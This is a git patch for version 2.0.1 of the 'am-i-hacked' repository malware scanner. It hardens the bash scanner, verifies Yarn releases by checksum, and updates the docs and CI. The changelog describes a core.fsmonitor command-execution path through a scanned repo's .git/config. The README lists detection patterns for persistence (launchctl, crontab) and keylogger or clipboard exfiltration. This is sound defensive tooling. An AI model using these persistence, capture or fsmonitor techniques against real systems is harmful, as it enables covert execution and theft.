From b97f8022650c138c89535d3969bab5a05c092b5f Mon Sep 17 00:00:00 2001 From: Isaac Bell <2613157+IsaacBell@users.noreply.github.com> Date: Thu, 1 Oct 2026 20:08:24 -0400 Subject: [PATCH 1/5] am-i-hacked 2.0.1: scanner hardening and scanning-alert fixes Scanner: - Run git ls-files with core.fsmonitor disabled, so a scanned repo's .git/config cannot execute code. - Scan payloads in dot-directories, folders named by .ignore/.rgignore, and tracked files that .gitignore matches. - Scan extensionless scripts inside folders with a dot in their name. - Scan committed build output. Recognized bundles (ncc, webpack, esbuild) get only high-signal checks. - Verify official Yarn releases by sha256 against bin/yarn-releases.tsv, refreshed by scripts/update-yarn-releases.sh. - Exempt an embedded wasm data-URI line from the long-line check. CI and release: - Fix the unquoted expansion in scripts/release.sh (Semgrep). - Mark the pull_request_target checkout in gate.yml as reviewed. - Pin upload-sarif to the v4.38.2 release and the semgrep image to 1.178.0 by digest. Docs: README privacy note, CHANGELOG 2.0.1, version bump. --- .github/workflows/gate.yml | 1 + .github/workflows/semgrep.yml | 4 +- apps/am-i-hacked/CHANGELOG.md | 19 ++ apps/am-i-hacked/README.md | 17 +- apps/am-i-hacked/bin/scanner.sh | 344 +++++++++++++++++++++-- apps/am-i-hacked/bin/yarn-releases.tsv | 83 ++++++ apps/am-i-hacked/package.json | 2 +- apps/am-i-hacked/test/scanner.bats | 367 ++++++++++++++++++++++++- mise.toml | 4 + scripts/release.sh | 2 +- scripts/update-yarn-releases.sh | 117 ++++++++ 11 files changed, 918 insertions(+), 42 deletions(-) create mode 100644 apps/am-i-hacked/bin/yarn-releases.tsv create mode 100755 scripts/update-yarn-releases.sh diff --git a/.github/workflows/gate.yml b/.github/workflows/gate.yml index ecd43ac..ebb4f9f 100644 --- a/.github/workflows/gate.yml +++ b/.github/workflows/gate.yml @@ -28,6 +28,7 @@ jobs: with: version: 2026.9.12 + # nosemgrep: yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout -- reviewed: the scanner only reads these files (rg, sed, git ls-files) and never runs them; see the note at the top. - name: Check out the code under review if: github.event_name == 'pull_request_target' uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 diff --git a/.github/workflows/semgrep.yml b/.github/workflows/semgrep.yml index 9ddd2a2..960c8d8 100644 --- a/.github/workflows/semgrep.yml +++ b/.github/workflows/semgrep.yml @@ -17,7 +17,7 @@ jobs: name: Semgrep runs-on: ubuntu-latest container: - image: semgrep/semgrep + image: semgrep/semgrep:1.178.0@sha256:32e459968daabe7ab86968184a29109b9564aa00392401156f9788452b42786b steps: - name: Checkout code @@ -37,6 +37,6 @@ jobs: - name: Upload SARIF # if fork PR, don't upload their SARIF if: steps.semgrep.outcome == 'success' && (github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository) - uses: github/codeql-action/upload-sarif@9fddc16f0de775b9edd8a84dd5839ac2db070f8b + uses: github/codeql-action/upload-sarif@2892aa5e19bbd11bc0cff5427e3b750a04d9e3c2 # v4.38.2 with: sarif_file: semgrep.sarif diff --git a/apps/am-i-hacked/CHANGELOG.md b/apps/am-i-hacked/CHANGELOG.md index 5d778f8..53a6958 100644 --- a/apps/am-i-hacked/CHANGELOG.md +++ b/apps/am-i-hacked/CHANGELOG.md @@ -2,6 +2,25 @@ Newest first. Default-behavior changes are marked **CHANGED**. +## 2.0.1 - 2026-10-01 + +**BLUF:** A security release. The scan no longer trusts the tree it is reviewing: a scanned repo's `.git/config` could make it run a command, and payloads in dot-directories, in folders named in `.ignore` or `.rgignore`, in tracked files matched by `.gitignore`, and in tracked build output were not read. It also fixes a skip on extensionless scripts. + +### Security +- **CHANGED:** the scan now reads dot-directories, no longer reads `.ignore` or `.rgignore`, and scans tracked files that `.gitignore` matches. Committed build output is now scanned, so findings may appear in `dist/`, `.github/`, `.vscode/` and similar. Untracked build output listed in `.gitignore` is still skipped, and `node_modules` and `.git` are always skipped. +- Payloads were not scanned when they sat in a dot-directory, in a folder named in `.ignore` or `.rgignore`, in a tracked file matched by `.gitignore`, or in a tracked build output folder. All of these are scanned now. +- A scanned repo's `.git/config` could make the scan run a command: `git ls-files` runs any `core.fsmonitor` hook the config names. The scan now runs git with `core.fsmonitor=false`. +- **CHANGED:** 71 official Yarn releases in `.yarn/releases` are verified by SHA256 checksum; a mismatch is a finding at line 1. Unverified or malicious Yarn files no longer pass silently. + +### Changed +- **CHANGED:** bundled code (webpack/esbuild/ncc) identified by markers in the first 4096 bytes (`__webpack_require__`, `__nccwpck_require__`, `webpackBootstrap`, `__toESM(`, `__commonJS(`) receives only high-signal checks. Routine patterns in bundles (dynamic code execution, network modules, child process) are counted but not flagged; obfuscation, capture/exfiltration and bot tokens still are. +- **CHANGED:** embedded WebAssembly data: URLs (`data:application/(wasm|octet-stream);base64,AGFzbQ...`) on a single line are no longer flagged for line length, as they are expected to be long. + +### Fixed +- An extensionless script inside a folder with a dot in its name (for example `.devcontainer/sync-agent`) was skipped. The extensionless check now tests the file name. + +Upgrade: `pnpm add -D am-i-hacked@2.0.1`, or run the pinned version without installing: `pnpx am-i-hacked@2.0.1 .` + ## 2.0.0 - 2026-10-01 **BLUF:** Renamed from `am-i-compromised` to `am-i-hacked`. The old command name still works. This is the first release that includes the host audit, `safe-pull` and the clipboard-stealer checks. diff --git a/apps/am-i-hacked/README.md b/apps/am-i-hacked/README.md index e73e49a..1561d8e 100644 --- a/apps/am-i-hacked/README.md +++ b/apps/am-i-hacked/README.md @@ -116,6 +116,10 @@ Linuxbrew locations, and otherwise tells you what to install (for example `brew Install `rg` and `jq` with `brew install ripgrep jq` or `apt-get install ripgrep jq`. +## 🔒 Privacy + +The scanner runs entirely on your machine and sends nothing anywhere. The project scan and host audit make no network calls; the source is open under MIT, so anyone can verify this. Findings stay in your terminal — it is safe to run on private or sensitive code. + The package installs these commands: | Command | What it runs | @@ -144,8 +148,10 @@ The package installs these commands: [below](#clipboardkeyloggerexfil-detection) - Environment files (`.env`, `.env.*`) tracked in the git index -It scans JS/TS/Python/Rust/Ruby/C/C++/C# sources out of the box and skips `node_modules`, build -output and VCS dirs. Where a bare regex would be noisy it wants context: a decode call only +It scans JS/TS/Python/Rust/Ruby/C/C++/C# sources out of the box and skips `node_modules` and VCS +dirs. Build output (bundled code from webpack, esbuild, or ncc) is scanned when committed; untracked build output that `.gitignore` lists is skipped. **In bundled code, only high-signal patterns are reported as findings** — dynamic code execution and network-access patterns routine in minified code are tracked but not flagged; string-table obfuscation, capture/exfiltration and bot tokens still are. + +Official Yarn releases in `.yarn/releases` are verified by SHA256 checksum against a table of 71 official releases instead of content-scanned; a mismatch fails. Where a bare regex would be noisy it wants context: a decode call only trips near an execution call or a long literal, and a lone ANSI color escape is not a payload. ## 🖥️ Host audit @@ -273,9 +279,10 @@ a shebang. | Persistence beside capture | `launchctl load`, `~/Library/LaunchAgents`, `crontab -`, `~/.config/autostart` in a script that also captures | Persistence installed by a script that captures input | | Capture-shaped file name | name matching `(clip\|key\|screen)[-_ ]?(logger\|monitor\|spy\|grab)` that reads the clipboard or input | Capture-named script reads the clipboard or input | -Files under `node_modules`/`.cache`, build output, and the fixtures dir are -never scanned, so a README mention or a vendor's own clipboard-library source -with no exfiltration endpoint does not trip the scan. Reviewed matches can still +Files under `node_modules` and the fixtures dir are never scanned. Untracked +build output that `.gitignore` lists is skipped too, so a README mention or a +vendor's clipboard-library source with no exfiltration endpoint does not trip +the scan. Reviewed matches can still be marked safe with `am-i-hacked-ignore:` (see above). `am-i-hacked host` audits the machine itself for the persistence side of this diff --git a/apps/am-i-hacked/bin/scanner.sh b/apps/am-i-hacked/bin/scanner.sh index fd33d74..03a213c 100755 --- a/apps/am-i-hacked/bin/scanner.sh +++ b/apps/am-i-hacked/bin/scanner.sh @@ -103,16 +103,13 @@ readonly SOURCE_GLOBS=( --glob '*.cpp' ) +# Only installed dependencies and git's own store are skipped by name. Build +# output (dist/, build/, .next/ ...) is scanned when committed, since a package +# script can run it; untracked build output that .gitignore lists is skipped +# like any other ignored untracked file (see "scan scope" below). EXCLUDE_GLOBS=( --glob '!**/node_modules/**' --glob '!**/.git/**' - --glob '!**/.next/**' - --glob '!**/.turbo/**' - --glob '!**/dist/**' - --glob '!**/build/**' - --glob '!**/coverage/**' - --glob '!**/out/**' - --glob '!**/.cache/**' ) readonly FIXTURES_DIRNAME="__security_gate_fixtures__" @@ -132,6 +129,56 @@ if [[ "${INCLUDE_FIXTURES:-0}" != "1" ]]; then fi readonly EXCLUDE_GLOBS +# --- scan scope ------------------------------------------------------------------ +# +# The tree under review must not decide what gets scanned. On its own, ripgrep +# skips dot-directories and anything named in .gitignore, .ignore or .rgignore, +# so a payload under .vscode/, or in a directory the repository's own .gitignore +# lists, would never be read. So every scan reads dot-directories (--hidden) +# and drops .ignore and .rgignore (--no-ignore-dot). .gitignore still skips +# untracked files (local build output, virtualenvs), but never a tracked one: +# git lists the tracked files its ignore rules match, and rg_scoped scans those +# by name. + +# git with the scanned tree's config defanged. That .git/config is part of what +# is under review, and `git ls-files` runs any core.fsmonitor command it names. +untrusted_git() { + git -c core.fsmonitor=false "$@" +} + +# Tracked files that a .gitignore, .git/info/exclude or core.excludesFile +# matches. Normally there are none. +declare -A TRACKED_IGNORED=() +while IFS= read -r -d '' tracked; do + TRACKED_IGNORED["$ROOT/$tracked"]=1 +done < <(untrusted_git -C "$ROOT" ls-files -z --cached --ignored --exclude-standard 2>/dev/null || true) +readonly TRACKED_IGNORED + +# rg_scoped — ripgrep over $ROOT with the scope rules above. Pass +# every argument except the search path. A second pass covers the tracked +# ignored files the same --glob set selects; ripgrep applies globs only to what +# it finds by walking, so that pass lists them by walking with no ignore rules. +rg_scoped() { + local args=("$@") globs=() extra=() file i + + rg --hidden --no-ignore-dot "$@" -- "$ROOT" || true + ((${#TRACKED_IGNORED[@]} > 0)) || return 0 + + for ((i = 0; i < ${#args[@]}; i++)); do + if [[ "${args[i]}" == --glob ]]; then + globs+=(--glob "${args[i + 1]}") + fi + done + while IFS= read -r -d '' file; do + if [[ -n "${TRACKED_IGNORED["$file"]+x}" ]]; then + extra+=("$file") + fi + done < <(rg --files --null --hidden --no-ignore "${globs[@]}" -- "$ROOT" || true) + ((${#extra[@]} > 0)) || return 0 + + printf '%s\0' "${extra[@]}" | xargs -0 rg --with-filename "$@" -- || true +} + # --- color --------------------------------------------------------------------- if [[ -t 1 && -z "${NO_COLOR:-}" ]]; then @@ -179,6 +226,47 @@ declare -A SUP_IDX=() # Set to 1 when package.json inspection could not run (jq missing). missing_jq=0 +# Yarn release verification. Path to the table of official Yarn release checksums. +YARN_RELEASES_TABLE="${AIH_YARN_RELEASES:-$(dirname "${BASH_SOURCE[0]}")/yarn-releases.tsv}" + +# Globs to exclude Yarn releases from content scans (they are verified separately by hash). +YARN_RELEASE_EXCLUDE_GLOBS=( + --glob '!**/.yarn/releases/*.cjs' + --glob '!**/.yarn/releases/*.js' +) + +# Arrays to track Yarn releases during scanning. +declare -a YARN_V_PATH=() # Verified release file paths +declare -a YARN_V_VERSION=() # Verified release versions (for display) +declare -a YARN_UNVERIFIED=() # Unverified release versions (for footer) +YARN_TABLE_MISSING=0 # Set to 1 if the checksum table is missing +readonly YARN_RELEASE_UNVERIFIED_TITLE="Yarn release does not match any official Yarn release" + +# Build-output detection and low-signal tracking. Bundled code (webpack/esbuild/ncc) +# only gets high-signal checks: string-table obfuscation, capture/exfiltration, +# Telegram tokens, launchers, editor auto-run, asset payloads, .env tracking. +# Dynamic code exec, network access, and similar routine patterns in bundled code +# are not recorded as findings; matches are counted by file and tag instead. +declare -A BUNDLE_PATH_SET=() # Track which files are build-output +declare -A BUNDLE_IDX=() # Map: pathrel → index in BUNDLE_FILES +declare -a BUNDLE_FILES=() # Build-output files in scan order +declare -a BUNDLE_COUNT=() # Match count per file +declare -a BUNDLE_TAGS=() # Tag list per file (comma-separated, unique) + +# Low-signal tags: these are not recorded as findings in build-output files +readonly -a LOW_SIGNAL_TAGS=( + "Dynamic code execution" + "Dynamic timer execution" + "Child-process execution" + "Direct network module access" + "Runtime global mutation" + "Computed global properties" + "Hex or Unicode string escapes" + "Suspicious decoder/string-table helpers" + "Runtime source construction" + "source line exceeds" +) + # Cap a snippet so one enormous minified line cannot flood the report. # Runs of whitespace are collapsed (preview only) so deeply indented or # space-padded lines stay readable. Prints the snippet plus an overflow @@ -243,9 +331,47 @@ suppression_reason() { return 1 } +# is_build_output — true when the file's first 4096 bytes contain a +# build-output marker (__nccwpck_require__, __webpack_require__, webpackBootstrap, +# __toESM(, __commonJS(). Answers are cached per path in BUNDLE_PATH_SET. +is_build_output() { + local path="$1" + local head marker + + if [[ -v BUNDLE_PATH_SET["$path"] ]]; then + return "$((BUNDLE_PATH_SET["$path"] == 1 ? 0 : 1))" + fi + + if head="$(head -c 4096 "$path" 2>/dev/null)"; then + for marker in "__nccwpck_require__" "__webpack_require__" "webpackBootstrap" "__toESM(" "__commonJS("; do + if [[ "$head" == *"$marker"* ]]; then + BUNDLE_PATH_SET["$path"]=1 + return 0 + fi + done + fi + + BUNDLE_PATH_SET["$path"]=0 + return 1 +} + +# is_low_signal_tag — true when the tag is a routine pattern in bundled code. +is_low_signal_tag() { + local tag="$1" + local t + for t in "${LOW_SIGNAL_TAGS[@]}"; do + if [[ "$tag" == "$t" ]]; then + return 0 + fi + done + return 1 +} + # Record one finding for path:line under an indicator category. A suppressed # finding is rerouted into the SUP_* store instead of F_*: it never counts # toward the exit code, but it is never dropped either. +# For build-output files, low-signal findings are not recorded but are tracked +# in BUNDLE_* arrays for a summary line at report time. record_finding() { local path="$1" local line="$2" @@ -281,6 +407,25 @@ record_finding() { return fi + # Build-output: low-signal tags are tracked but not recorded as findings + if is_build_output "$path" && is_low_signal_tag "$tag"; then + local bundle_idx + if [[ -v BUNDLE_IDX[$pathrel] ]]; then + bundle_idx="${BUNDLE_IDX[$pathrel]}" + BUNDLE_COUNT[bundle_idx]=$((BUNDLE_COUNT[bundle_idx] + 1)) + if [[ "${BUNDLE_TAGS[bundle_idx]}" != *"$tag"* ]]; then + BUNDLE_TAGS[bundle_idx]+=", $tag" + fi + else + bundle_idx="${#BUNDLE_FILES[@]}" + BUNDLE_IDX[$pathrel]=$bundle_idx + BUNDLE_FILES+=("$pathrel") + BUNDLE_COUNT+=("1") + BUNDLE_TAGS+=("$tag") + fi + return + fi + if [[ -v F_IDX[$key] ]]; then i="${F_IDX[$key]}" if [[ "${F_TAGS[i]}" != *"$tag"* ]]; then @@ -316,13 +461,13 @@ scan_pattern() { split_rg_row "$row" record_finding "$P_PATH" "$P_LINE" "$P_SNIP" "$title" done < <( - rg -n \ + rg_scoped -n \ --no-heading \ --color never \ "${SOURCE_GLOBS[@]}" \ "${EXCLUDE_GLOBS[@]}" \ - "$pattern" \ - -- "$ROOT" 2>/dev/null || true + "${YARN_RELEASE_EXCLUDE_GLOBS[@]}" \ + "$pattern" 2>/dev/null || true ) } @@ -353,13 +498,13 @@ scan_encoded_payload_primitives() { record_finding "$P_PATH" "$P_LINE" "$P_SNIP" "$IOC_ENCODED_PRIMITIVE_TITLE" fi done < <( - rg -n \ + rg_scoped -n \ --no-heading \ --color never \ "${SOURCE_GLOBS[@]}" \ "${EXCLUDE_GLOBS[@]}" \ - "$IOC_ENCODED_PRIMITIVE_PATTERN" \ - -- "$ROOT" 2>/dev/null || true + "${YARN_RELEASE_EXCLUDE_GLOBS[@]}" \ + "$IOC_ENCODED_PRIMITIVE_PATTERN" 2>/dev/null || true ) } @@ -382,16 +527,27 @@ scan_child_process() { fi ((safe == 1)) || record_finding "$P_PATH" "$P_LINE" "$P_SNIP" "$IOC_CHILD_PROCESS_TITLE" done < <( - rg -n \ + rg_scoped -n \ --no-heading \ --color never \ "${SOURCE_GLOBS[@]}" \ "${EXCLUDE_GLOBS[@]}" \ - "$IOC_CHILD_PROCESS_PATTERN" \ - -- "$ROOT" 2>/dev/null || true + "${YARN_RELEASE_EXCLUDE_GLOBS[@]}" \ + "$IOC_CHILD_PROCESS_PATTERN" 2>/dev/null || true ) } +# --- yarn release verification --------------------------------------------------- + +# sha256_of — the sha256 hex digest, via sha256sum or shasum. +sha256_of() { + if command -v sha256sum >/dev/null 2>&1; then + sha256sum "$1" | cut -d' ' -f1 + else + shasum -a 256 "$1" | cut -d' ' -f1 + fi +} + # --- clipboard / keystroke / screen capture + exfiltration --------------------- # # A capture API on its own is ordinary — a clipboard manager, a screenshot tool, @@ -453,15 +609,18 @@ scan_capture_exfil() { while IFS= read -r -d '' file; do files+=("$file") done < <( - rg --files --null "${IOC_CAPTURE_EXT_GLOBS[@]}" "${EXCLUDE_GLOBS[@]}" -- "$ROOT" 2>/dev/null || true + rg_scoped --files --null "${IOC_CAPTURE_EXT_GLOBS[@]}" "${EXCLUDE_GLOBS[@]}" "${YARN_RELEASE_EXCLUDE_GLOBS[@]}" 2>/dev/null || true ) + # Extensionless is tested on the file name here: a `!*.*` glob would also + # prune every directory with a dot in its name, `.devcontainer` included. while IFS= read -r -d '' file; do + [[ "${file##*/}" != *.* ]] || continue first="$(head -n 1 "$file" 2>/dev/null || true)" if [[ "$first" == '#!'* ]]; then files+=("$file") fi done < <( - rg --files --null --glob '!*.*' "${EXCLUDE_GLOBS[@]}" -- "$ROOT" 2>/dev/null || true + rg_scoped --files --null "${EXCLUDE_GLOBS[@]}" 2>/dev/null || true ) ((${#files[@]} > 0)) || return 0 @@ -529,8 +688,7 @@ scan_capture_exfil() { # # Same contract as scan_pattern, but scoped to an explicit glob set rather than # the source-file globs. `--text` makes ripgrep read files it would otherwise -# skip as binary, and `--hidden` makes it descend into dot-directories such as -# `.vscode` — both are required for the editor-config and asset checks. +# skip as binary, which the asset checks need. scan_with_globs() { local title="$1" local pattern="$2" @@ -542,18 +700,22 @@ scan_with_globs() { split_rg_row "$row" record_finding "$P_PATH" "$P_LINE" "$P_SNIP" "$title" done < <( - rg -n \ + rg_scoped -n \ --no-heading \ --color never \ --text \ - --hidden \ "$@" \ "${EXCLUDE_GLOBS[@]}" \ - "$pattern" \ - -- "$ROOT" 2>/dev/null || true + "$pattern" 2>/dev/null || true ) } +# A base64 data: URL that starts with the WebAssembly magic bytes (AGFzbQ is +# base64 of "\0asm") is how a real .pnp.cjs or a bundled runtime embeds a wasm +# blob. When the whole line is only `name = "data:...";`, its length carries no +# signal, so it is not flagged. Any other code around it still is. +readonly IOC_EMBEDDED_WASM_RE=$'^[[:space:]]*(var|let|const)?[[:space:]]*[A-Za-z_$][A-Za-z0-9_$]*[[:space:]]*=[[:space:]]*["\']data:application/(octet-stream|wasm);base64,AGFzbQ[A-Za-z0-9+/=]*["\'][[:space:]]*;?[[:space:]]*$' + scan_long_lines() { local row content length @@ -568,16 +730,21 @@ scan_long_lines() { length="${#content}" if ((length > MAX_SOURCE_LINE_LENGTH)); then - split_rg_row "$row" - record_finding "$P_PATH" "$P_LINE" "$P_SNIP" "source line exceeds ${MAX_SOURCE_LINE_LENGTH} characters" + # An embedded WebAssembly data: URL is the one long line that + # carries no signal on its own (see IOC_EMBEDDED_WASM_RE). + if [[ ! "$content" =~ $IOC_EMBEDDED_WASM_RE ]]; then + split_rg_row "$row" + record_finding "$P_PATH" "$P_LINE" "$P_SNIP" "source line exceeds ${MAX_SOURCE_LINE_LENGTH} characters" + fi fi done < <( - rg -n \ + rg_scoped -n \ --no-heading \ --color never \ "${SOURCE_GLOBS[@]}" \ "${EXCLUDE_GLOBS[@]}" \ - -- '.' "$ROOT" 2>/dev/null || true + "${YARN_RELEASE_EXCLUDE_GLOBS[@]}" \ + '.' 2>/dev/null || true ) } @@ -635,6 +802,115 @@ scan_package_scripts() { done } +# List Yarn release files from .yarn/releases/ and verify each against the table. +# A match is informational; a mismatch is a finding at line 1. +scan_yarn_releases() { + local file hash version + local -a table_versions=() + local -a table_hashes=() + + # Load the checksum table if it exists. + if [[ ! -f "$YARN_RELEASES_TABLE" ]]; then + YARN_TABLE_MISSING=1 + # Still scan for release files; treat them all as unverified. + else + while IFS=$'\t' read -r version hash; do + [[ -n "$version" ]] || continue + [[ "$version" == \#* ]] && continue + [[ -n "$hash" ]] || continue + table_versions+=("$version") + table_hashes+=("$hash") + done <"$YARN_RELEASES_TABLE" + fi + + # List release files: .yarn/releases/*.cjs and .yarn/releases/*.js + while IFS= read -r -d '' file; do + [[ -n "$file" ]] || continue + + # Extract version from filename: yarn-.cjs or .js + version="${file##*/}" + version="${version#yarn-}" + version="${version%.cjs}" + version="${version%.js}" + + # Compute the file's sha256. + hash="$(sha256_of "$file")" + + # Look up the hash in the table. + local found=0 + local i + for ((i = 0; i < ${#table_versions[@]}; i++)); do + if [[ "$hash" == "${table_hashes[i]}" ]]; then + YARN_V_PATH+=("${file#"$ROOT"/}") + YARN_V_VERSION+=("$version") + found=1 + break + fi + done + + if ((found == 0)); then + # Unverified: record as a finding and save the version for the footer. + record_finding "$file" 1 "sha256 ${hash}" "$YARN_RELEASE_UNVERIFIED_TITLE" + YARN_UNVERIFIED+=("$version") + fi + done < <( + rg_scoped --files --null \ + --glob '**/.yarn/releases/*.cjs' \ + --glob '**/.yarn/releases/*.js' \ + "${EXCLUDE_GLOBS[@]}" 2>/dev/null || true + ) +} + +# A verified official Yarn release is informational, listed on every run. +render_yarn_verified() { + local i + ((${#YARN_V_PATH[@]} > 0)) || return 0 + for ((i = 0; i < ${#YARN_V_PATH[@]}; i++)); do + printf '%sam-i-hacked: verified official Yarn release %s (%s)%s\n' \ + "$C_DIM" "${YARN_V_PATH[i]}" "${YARN_V_VERSION[i]}" "$C_RESET" + done +} + +# Footer for a Yarn release that matched no table row: how to check it by hand, +# and that a newer scanner knows newer releases. Also warns when the table is +# missing, which is why every release is unverified. +render_yarn_unverified() { + local version + + if ((YARN_TABLE_MISSING == 1)); then + printf '\n%sam-i-hacked: warning: Yarn release checksum table not found at %s — treating every Yarn release as unverified.%s\n' \ + "$C_YELLOW" "$YARN_RELEASES_TABLE" "$C_RESET" + fi + + ((${#YARN_UNVERIFIED[@]} > 0)) || return 0 + + printf '\n%sVerify a Yarn release by hand: hash the matching official tarball and compare it with the sha256 above.%s\n' \ + "$C_DIM" "$C_RESET" + for version in "${YARN_UNVERIFIED[@]}"; do + printf '%s curl -s https://registry.npmjs.org/@yarnpkg/cli-dist/-/cli-dist-%s.tgz | tar -xzO package/bin/yarn.js | shasum -a 256%s\n' \ + "$C_DIM" "$version" "$C_RESET" + done + printf '%sA newer am-i-hacked knows newer Yarn releases. If the hash matches, refresh the table with scripts/update-yarn-releases.sh.%s\n' \ + "$C_DIM" "$C_RESET" +} + +# Build-output summary: one line per bundled file showing match count and tag list. +# Routine patterns in bundled code are never flagged but are always reported here. +render_build_output() { + local i file count tags + + ((${#BUNDLE_FILES[@]} > 0)) || return 0 + + printf '\n%sam-i-hacked: build output, routine matches in bundled code not counted:%s\n' \ + "$C_DIM" "$C_RESET" + for ((i = 0; i < ${#BUNDLE_FILES[@]}; i++)); do + file="${BUNDLE_FILES[i]}" + count="${BUNDLE_COUNT[i]}" + tags="${BUNDLE_TAGS[i]}" + printf '%s %s: %d matches (%s)%s\n' "$C_DIM" "$file" "$count" "$tags" "$C_RESET" + done +} + render_findings() { local total_files="${#F_FILE_SEEN[@]}" local total_findings=$((${#F_PATH[@]} + ${#S_PATH[@]})) @@ -742,7 +1018,7 @@ scan_tracked_env() { continue fi record_finding "$ROOT/$file" 1 "$file (present in the git index)" "Tracked .env file" - done < <(git -C "$ROOT" ls-files -- "${IOC_ENV_PATHSPEC[@]}" 2>/dev/null || true) + done < <(untrusted_git -C "$ROOT" ls-files -- "${IOC_ENV_PATHSPEC[@]}" 2>/dev/null || true) } # Progress: one line per check on stderr, so a long scan is never a silent wait. On by default @@ -754,7 +1030,7 @@ else PROGRESS=0 fi STEP=0 -STEP_TOTAL=$((${#IOC_CONTENT_PATTERNS[@]} + ${#IOC_EDITOR_PATTERNS[@]} + ${#IOC_ASSET_PATTERNS[@]} + 6)) +STEP_TOTAL=$((${#IOC_CONTENT_PATTERNS[@]} + ${#IOC_EDITOR_PATTERNS[@]} + ${#IOC_ASSET_PATTERNS[@]} + 7)) SCAN_START=$SECONDS progress() { @@ -800,6 +1076,8 @@ progress "Environment files in the git index" scan_tracked_env progress "package.json scripts" scan_package_scripts +progress "Yarn release checksums" +scan_yarn_releases ((PROGRESS == 1)) && printf 'am-i-hacked: checks done in %ds, %d found\n\n' "$((SECONDS - SCAN_START))" \ "$((${#F_PATH[@]} + ${#S_PATH[@]}))" >&2 @@ -810,8 +1088,11 @@ if ((${#F_PATH[@]} > 0 || ${#S_PATH[@]} > 0)); then # the script right here, silently skipping render_suppressed and the # footer below. `|| true` keeps that return value from being anything # other than documentation. + render_yarn_verified || true + render_build_output || true render_findings || true render_suppressed || true + render_yarn_unverified || true if ((missing_jq == 1)); then printf '\n%sam-i-hacked: %s could not inspect package.json scripts (jq missing).%s\n' \ @@ -838,6 +1119,9 @@ EOF fi render_suppressed || true +render_build_output || true +render_yarn_verified || true +render_yarn_unverified || true if ((missing_jq == 1)); then printf '\n%sam-i-hacked: %s could not inspect package.json scripts (jq missing).%s\n' \ diff --git a/apps/am-i-hacked/bin/yarn-releases.tsv b/apps/am-i-hacked/bin/yarn-releases.tsv new file mode 100644 index 0000000..db7d15e --- /dev/null +++ b/apps/am-i-hacked/bin/yarn-releases.tsv @@ -0,0 +1,83 @@ +# Official Yarn release checksums, one row per release: +# +# +# +# A row means the committed `.yarn/releases/yarn-.cjs` (or `.js`) is +# byte-identical to `package/bin/yarn.js` inside the published +# @yarnpkg/cli-dist@ tarball. scanner.sh hashes each committed release +# and looks the digest up here: a match is informational, anything else fails the +# gate. +# +# scripts/update-yarn-releases.sh fills this file from the npm registry. +# Lines beginning with # are comments; blank lines are ignored. +2.4.1 8feb0398db243b0f9deaece6d71b5d18e0dc8795758d41cbe9d1efc70038865e +2.4.2 3ceae9c55cc9f52b474922a5c9bdfb32ada8fa003a3e071064e157fc156cfad0 +3.0.0 3320c1b28fba87d16bde7b3d08120e8bb8e39a8e2a9063b851415a55950b951e +3.0.1 3f9a75544c9e625b0c2029cdd6dfde2029d8851ffd03219b9d4a313333dd2485 +3.0.2 57ec2d26a54c312a1848599265be6aba0e2e5f734eaba3fcd4c491429fefa21f +3.1.0 5e197ae1126626b08b6e8644f64da4514a5546495b0a6c6267f3393e630c530d +3.1.1 a7a11cf8a82d868d8cd02ec50bfba4f310964809fe6cd5709eb42e8244bad2b3 +3.2.0 99a7f42f678b8ccd9c8e97a9e65fe7a5043033dd0e074e6d1f13fbe2d5ff2734 +3.2.1 f1c9f039ab3b236c7abb7bafa0a0f266aa6bc5a3dbe7c684b561f03c0005d043 +3.2.2 4bdff735211590c3591b58db2f00eb3391cc7192e5c99cd154fe59060301f5db +3.2.3 311cd84f5f144680cc21b4bbbdeba97d1a5f32ee8a2eae7037ccbdeff8a3c1ce +3.2.4 ca1a380d840c676152fbf8635a82d838113fe77e1665466699a4e106df4930d2 +3.3.0 bbfc6cc3362afbcb0ce39ee8f36fb2b62ce9834b20d6aeee5c1f481269b52238 +3.3.1 1d2760eb5c0e525abe9c5306fac5fe0b5628c0955072a0da2f4043524497526a +3.4.0 c750c411616acbe05ccf22c0453a06028f40f769a84d92e644c6b2f22d8b0406 +3.4.1 b51208ae422260539b3503fe5b596f4f236947d69ed1f8797f9830331a38c841 +3.5.0 e4fc5f94867cd0b492fb0a644f14e7b47c4387bc75d46b56e86db6d0f1a6cb97 +3.5.1 64c0b63e5fa0e21f354b5eff7c9a1b486f32046bfc3283670569e3c6a9cad102 +3.6.0 6da0a4bdb4de78399dd577ff72273ca46152c61399574ffc8e9a5a3c36eab270 +3.6.1 811210abb5fb5751da12ead8a9cbc0c150b07e43ac9cbedec6752d22abfd2bd6 +3.6.2 506981787ad29ec22e9c904a0d630c3b03b2e5c078b074990404aabbf2fb007b +3.6.3 08ead1821a257416e6f217e89365425bf4b6d2430c3279318bedcec1a245fff5 +3.6.4 7f7d51b38db0d94adf25c512e3f3d3b47d23c97922eecc540f7440f116bdb99a +3.7.0 7bf0c78a106332886ea4e59641fd819b1af953edcd72c4d93a32b1c71000ee67 +3.8.0 a1a53a88823c9f5bcd36e465791b7e490837ebf94dc6ef96282ab558a00c0811 +3.8.1 860bab3ca20acc0476b3229f4841674e62e15453bd8f5dc8d0fea399edd235b6 +3.8.2 3f5aa2dfdb5c56e4f21f0f2f66804de4446a429cab39a9d4d40f5d8be8b33f79 +3.8.3 80da90fb3e01be3a5d851ed5290f86800870a208614a2e4211a3bfb5cdb62d61 +3.8.4 1ee0e26fb669143425371ab8727fe4c5841640a2fd944863a8e8c28be966aca2 +3.8.5 6fd0fd785cdf2b18a9a9e2589726a11530ff018d193f8eda64be485a080f75b9 +3.8.6 c1aaceda3fc48bd03adc661df752171f9299e01ff0d90a3c6b9507063d378c4a +3.8.7 81bf69deb72c6cfebaca4389444e034c914cc1a90ea40e4ac55a5e2a1d7063d2 +4.0.0 6d855253732ba8d231b6cd917961654f6c8439164c962a4e355c9c58360ebe44 +4.0.1 5a9d054e67fbbae8774cd3667736fd74407ffbbb336898523ca1fe87b3fc4ee3 +4.0.2 825003a0f561ad09a3b1ac4a3b3ea6207af2796d54f62a9420520915721f5186 +4.1.0 81a00df816059803e6b5148acf03ce313cad36b7f6e5af6efa040a15981a6ffb +4.1.1 f3cc0eda8e5560e529c7147565b30faa43b4e472d90e8634d7134a37c7f59781 +4.2.0 3b1c51d5766457aa7999f259709c42b30490934a3615d179d31714fb5c54b392 +4.2.1 15ce76682a8cd2090257b883cd69c637925b29573f9573e8403ec227d5ab6815 +4.2.2 